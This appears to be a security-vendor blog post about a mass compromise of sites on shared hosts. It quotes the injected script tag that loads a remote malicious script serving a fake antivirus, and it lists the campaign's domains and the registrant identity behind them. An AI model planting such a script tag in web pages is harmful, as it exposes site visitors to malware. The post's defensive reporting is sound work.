Yet another series of attacks (part X) – vancouvererrorsonfile.com and the hilarykneber group

If you have been following our blog long, you probably heard about quite a few large scale attacks affecting many hosting companies: GoDaddy, Bluehost, Dreamhost, etc, etc.

The new one that started to spread today uses a javascript file pointing to http://vancouvererrorsonfile.com/js2.php. When called, it will load www4.meowmeow4.co.cc and then offer the famous “fake AV” virus to the end user of a site. That’s how it looks like in a site:

< script src =" http://vancouvererrorsonfile.com/js2.php

Or in our scanner (blueh2):

Note that this domain is not currently blacklisted (and the site is up), so be careful when clicking those links. So far, we are seeing this spread only on Bluehost and Dreamhost, but it seems to be too early to tell how many sites are affected.

If your site is hacked, this script should clean it up: virus-fix.php or contact us for a professional help (support@sucuri.net).

However, what is interesting is the people behind this attack (and all others). Those domains are always registered by:

Hilary Kneber hilarykneber@yahoo.com
7569468 fax: 7569468
29/2 Sun street. Montey 29
Virginia NA 3947
us

You can check all the big ones that affected a large number of sites:

whereisdudescars.com
domainameat.cc
cloudisthebestnow.com
losotrana.com
indesignstudioinfo.com
zettapetta.com

All by the same group and all of them using the same tactics. We should start monitoring registrations using this domain and block them automatically.

We will post more details as we learn about it.